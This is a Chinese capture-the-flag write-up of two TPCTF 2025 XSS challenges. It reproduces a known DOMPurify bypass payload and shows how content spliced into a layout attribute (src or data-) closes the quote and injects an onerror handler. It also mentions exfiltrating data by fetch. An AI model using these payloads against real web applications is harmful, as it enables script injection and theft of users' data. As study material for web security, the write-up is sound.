前言
被 xss 单防了qaq
参考:
https://blog.xmcve.com/2025/03/11/TPCTF2025-Writeup/#title-17
baby layout(复现)
xss题
/api/post 的过滤点
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
DOMPurify 版本 3.2.4
使用DOMPurify.sanitize
对输入的content
进行XSS过滤,将过滤后的内容插入 layout 的{{content}}
处
3.2.4之前的版本有直接xss的poc:
https://security.snyk.io/vuln/SNYK-JS-DOMPURIFY-8722251
https://ensy.zip/posts/dompurify-323-bypass/
DOMPurify.sanitize(
`<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<! \${
</style>
}
<foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b>
</a></table></li></mi></foo-test></math>
`,
{
SAFE_FOR_TEMPLATES: true,
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^foo-/,
},
}
);
明显用不了
还有别的参考漏洞文章:
https://www.anquanke.com/post/id/219089
https://xz.aliyun.com/news/6017
/api/layout:
const sanitizedLayout = DOMPurify.sanitize(layout);
同样是过滤了,思路应该是构造模板和内容拼接实现 xss
上面这几篇文章的一个共同点是都用到了下面这个语句进行 xss,即 DOMPurify 允许 img 标签,不过3.2.4版本不能直接打这个payload:
<img src onerror="alert(1)">
在模板里插入的 content 会被解析为一个字符串,猜测可以利用这一点进行闭合
即当我们的 layout 如下时:
<img src={{content}}>
我们填入的content都会被当成字符串
<img src="11111">
此时我们尝试闭合前面的引号
" onerror="alert(1);
那么就会变成
<img src="" onerror="alert(1);">
成功 xss,接下来直接fetch带外即可
safe layout(复现)
diff 一下发现只多了个 ALLOWED_ATTR 参数
即使不允许所有属性,只要
ALLOW_DATA_ATTR
和ALLOW_ARIA_ATTR
未设置为 false,data-
和aria-
属性仍然被允许
那么layout:
<img data-a="{{content}}">
content:
" src=x onerror="alert(1);